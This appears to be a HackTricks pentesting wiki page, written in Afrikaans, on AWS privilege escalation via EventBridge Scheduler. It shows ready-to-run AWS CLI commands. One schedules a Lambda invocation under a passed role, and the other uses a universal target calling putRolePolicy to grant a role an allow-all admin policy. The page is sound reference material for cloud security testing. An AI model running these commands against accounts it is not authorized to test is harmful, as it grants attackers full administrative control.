# AWS - EventBridge Scheduler Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## EventBridge Scheduler

Meer inligting oor EventBridge Scheduler in:

{{#ref}}
../../aws-services/eventbridgescheduler-enum.md
{{#endref}}

### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)

'n Aanvaller met daardie toestemmings kan **`create`|`update` 'n scheduler en die toestemmings van die daaraan gekoppelde scheduler role misbruik** om enige aksie uit te voer

Byvoorbeeld, hulle kan die skedule so konfigureer dat dit **invoke a Lambda function** wat 'n templated action is:
```bash
aws scheduler create-schedule \
--name MyLambdaSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
"RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
}'
```
Benewens gesjabloneerde service-aksies, kan jy **universal targets** in EventBridge Scheduler gebruik om 'n wye reeks API-operasies vir baie AWS-dienste aan te roep. Universal targets bied die buigbaarheid om byna enige API aan te roep. Een voorbeeld is om universal targets te gebruik om "**AdminAccessPolicy**" by te voeg, deur 'n rol te gebruik wat die beleid "**putRolePolicy**" het:
```bash
aws scheduler create-schedule \
--name GrantAdminToTargetRoleSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
"RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
}'
```
## Verwysings

- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)
- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)

{{#include ../../../../banners/hacktricks-training.md}}
